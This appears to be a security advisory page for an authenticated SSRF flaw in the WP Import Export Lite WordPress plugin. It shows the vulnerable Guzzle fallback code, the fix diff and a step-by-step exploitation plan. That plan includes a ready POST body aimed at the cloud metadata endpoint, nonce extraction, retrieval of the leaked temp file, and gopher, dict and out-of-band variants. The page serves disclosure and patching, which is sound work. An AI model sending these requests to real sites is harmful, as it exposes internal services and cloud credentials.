WP Import Export Lite <= 3.9.30 - Authenticated (Administrator+) Server-Side Request Forgery via 'file_url' Parameter
Description
The WP Import Export Lite plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to and including 3.9.30 via the wpie_import_upload_file_from_url AJAX action. The plugin's URL downloader first calls wp_safe_remote_get() (which correctly blocks private/reserved IP ranges), but when that call returns a WP_Error — the exact outcome for any blocked internal host — the Download::download_file() method falls back to GuzzleHttp\Client::request() with the original attacker-supplied URL and no SSRF protection (and with TLS verification disabled). This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services such as the cloud metadata endpoint at 169.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.9.30What Changed in the Fix
Changes introduced in v3.9.31
Source Code
WordPress.org SVNThis exploitation research plan focuses on **CVE-2026-11397**, an authenticated SSRF vulnerability in the **WP Import Export Lite** plugin. The vulnerability arises from an insecure fallback mechanism in the file downloader class that bypasses WordPress's built-in SSRF protections. ### 1. Vulnerabi…
Show full research plan
This exploitation research plan focuses on CVE-2026-11397, an authenticated SSRF vulnerability in the WP Import Export Lite plugin. The vulnerability arises from an insecure fallback mechanism in the file downloader class that bypasses WordPress's built-in SSRF protections.
1. Vulnerability Summary
The WP Import Export Lite plugin provides functionality to download files from a URL for import purposes. The core logic resides in the wpie\import\Downloader\Download class.
The vulnerability exists because download_file() first attempts to use wp_safe_remote_get(), which correctly validates URLs against internal and reserved IP ranges. However, if wp_safe_remote_get() returns a WP_Error (which is the expected behavior when a request to a blocked internal IP is attempted), the code catches this error and falls back to a second method: guzzle_download().
The guzzle_download() method uses the GuzzleHttp\Client library to fetch the same attacker-supplied URL without any SSRF filtering and with SSL verification explicitly disabled ('verify' => false). This allows an administrator to probe internal network services (e.g., 127.0.0.1, 169.254.169.254) that are otherwise protected by WordPress.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpie_import_upload_file_from_url - Vulnerable Parameter:
file_url - Authentication Required: Administrator (or any user with access to the plugin's import functionality).
- Preconditions: The plugin must be active.
3. Code Flow
- The attacker sends an AJAX request with
action=wpie_import_upload_file_from_urland afile_urlpointing to an internal resource (e.g.,http://169.254.169.254/latest/meta-data/). - The AJAX handler (typically in
includes/classes/import/class-wpie-import-handler.php, inferred) instantiateswpie\import\Downloader\Downloadand callsdownload_file($_POST['file_url']). Download::download_file()(inincludes/classes/import/downloader/download.php):- Calls
$this->wp_download().
- Calls
Download::wp_download():- Calls
wp_safe_remote_get($this->url, ...). wp_safe_remote_getidentifies the URL as an internal/private IP and returns aWP_Error.wp_download()returns thisWP_Errorto the caller.
- Calls
Download::download_file()(resume):- Detects
is_wp_error($wp_file). - Calls
$this->guzzle_download().
- Detects
Download::guzzle_download():- Instantiates
GuzzleHttp\Client. - Executes
$client->request('GET', $this->url, ['sink' => $file, 'verify' => false]). - Sink: The internal data is written to a temporary file:
get_temp_dir() . time() . rand() . ".tmp". - Returns the path to the temporary file.
- Instantiates
4. Nonce Acquisition Strategy
The wpie_import_upload_file_from_url action is protected by a nonce. Based on the plugin structure, this nonce is usually localized for the import screen.
- Identify Trigger: The nonce is required for the "Upload from URL" feature in the Import menu.
- Navigation: Navigate to the Import page:
/wp-admin/admin.php?page=wpie-import. - Extraction:
- The plugin localizes its data using
wp_localize_script. - Use
browser_evalto extract the nonce from the global JavaScript object. - Inferred Variable: The object is likely
wpie_import_objorwpie_import_vars. - Command:
browser_eval("window.wpie_import_obj?.wpie_nonce")orbrowser_eval("window.wpie_import_vars?.nonce").
- The plugin localizes its data using
- Action Verification: The nonce is likely created with the action string
'wpie_import_nonce'. Ifwp_verify_noncein the handler uses a different string or-1, adjust accordingly.
5. Exploitation Strategy
The exploit involves forcing the plugin to download data from an internal service and then confirming the data was written to the filesystem.
Step 1: Perform the SSRF
Send a POST request to admin-ajax.php:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpie_import_upload_file_from_url&wpie_nonce=[NONCE]&file_url=http://169.254.169.254/latest/meta-data/
Step 2: Parse Response
The response is typically a JSON object. Look for a success key and a file_name or file_path indicating where the internal data was saved.
- Example Response:
{"success": true, "data": {"file_name": "171543210012345.tmp", ...}}
Step 3: Access Internal Data
Since the file is saved in the directory returned by get_temp_dir(), it is often located in wp-content/uploads/wp-import-export-lite/temp/ (defined as WPIE_UPLOAD_TEMP_DIR in wp-import-export-lite.php).
6. Test Data Setup
- Install and activate WP Import Export Lite <= 3.9.30.
- Create an administrator user.
- Ensure the
wp-content/uploads/wp-import-export-lite/temp/directory is writable. - (Optional) For local testing, set up a simple internal service:
python3 -m http.server 8080 --bind 127.0.0.1.
7. Expected Results
- The AJAX request should return
success: true. - A
.tmpfile should be created in the WordPress temporary directory or the plugin's temp directory. - The content of the
.tmpfile should contain the response from the internal service (e.g., AWS metadata or the local Python server's directory listing).
8. Verification Steps (Post-Exploit)
Use wp-cli to verify the presence and content of the leaked data:
# List files in the plugin temp directory
wp eval "print_r(glob(WPIE_UPLOAD_TEMP_DIR . '/*.tmp'));"
# Read the content of the most recent file
wp eval "echo file_get_contents(WPIE_UPLOAD_TEMP_DIR . '/[FILENAME_FROM_AJAX_RESPONSE]');"
9. Alternative Approaches
- Gopher/Dict Protocols: If Guzzle is configured with full cURL support, try
gopher://ordict://to interact with services like Redis or Memcached. - Local File Read (Inferred): Check if
file_urlsupports thefile://scheme. Whilewp_safe_remote_getblocks it, Guzzle's behavior depends on the underlying handler; however, Guzzle typically only supports HTTP/HTTPS by default. - Blind SSRF/OOB: If the internal service doesn't return data, use a collaborator URL (e.g., Burp Collaborator) to verify the request originates from the server's IP, bypassing any outbound firewall rules that might allow only the web server's traffic.
Summary
The WP Import Export Lite plugin for WordPress is vulnerable to authenticated Server-Side Request Forgery (SSRF) due to an insecure fallback mechanism in its file downloader. When the plugin's initial attempt to fetch a URL via wp_safe_remote_get() is blocked (as happens with internal or reserved IP ranges), the code catches the resulting error and retries the request using GuzzleHttp with no SSRF protections and SSL verification disabled. This allows administrators to bypass WordPress security restrictions and interact with internal network services or cloud metadata endpoints.
Vulnerable Code
/* includes/classes/import/downloader/download.php:24 */ $wp_file = $this->wp_download(); if ( is_wp_error( $wp_file ) ) { $guzzle_file = $this->guzzle_download(); if ( !is_wp_error( $guzzle_file ) ) { $wp_file = $guzzle_file; } } --- /* includes/classes/import/downloader/download.php:86 */ private function guzzle_download() { $filename = time() . rand() . " .tmp"; $file = get_temp_dir() . $filename; \wpie_load_vendor_autoloader(); try { $client = new \GuzzleHttp\Client(); $response = $client->request( 'GET', $this->url, [ 'sink' => $file, 'verify' => false ] ); } catch ( \Exception $e ) { return new \WP_Error( 'download_error', $e->getMessage() ); }
Security Fix
@@ -17,11 +17,15 @@ - public function download_file( $url = "" ) { + public function download_file($url = "") + { + + if (empty($url)) { + return new \WP_Error('wpie_import_error', __('File Download Error : File URL is empty', 'wp-import-export-lite')); + } - $this->url = $url; + $this->url = \wp_http_validate_url($url); - if ( empty( $this->url ) ) { - return new \WP_Error( 'wpie_import_error', __( 'File Download Error : File URL is empty', 'wp-import-export-lite' ) ); + if (false === $this->url) { + return new \WP_Error('wpie_import_error', __('File Download Error : File URL is not valid', 'wp-import-export-lite')); }
Exploit Outline
The exploit is performed by an authenticated administrator using the plugin's file import functionality. 1. Access the WordPress dashboard and navigate to the plugin's Import screen to obtain a valid nonce (usually located in the localized 'wpie_import_obj' JavaScript object). 2. Submit a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'wpie_import_upload_file_from_url' and the 'file_url' parameter set to a target internal resource (e.g., 'http://169.254.169.254/latest/meta-data/'). 3. The plugin will first fail the safe request via wp_safe_remote_get but will immediately fallback to an unrestricted Guzzle request. 4. The internal data is written to a .tmp file in the plugin's temporary directory ('wp-content/uploads/wp-import-export-lite/temp/'). 5. The attacker can then retrieve the leaked content by checking the filename returned in the AJAX JSON response and accessing that file on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.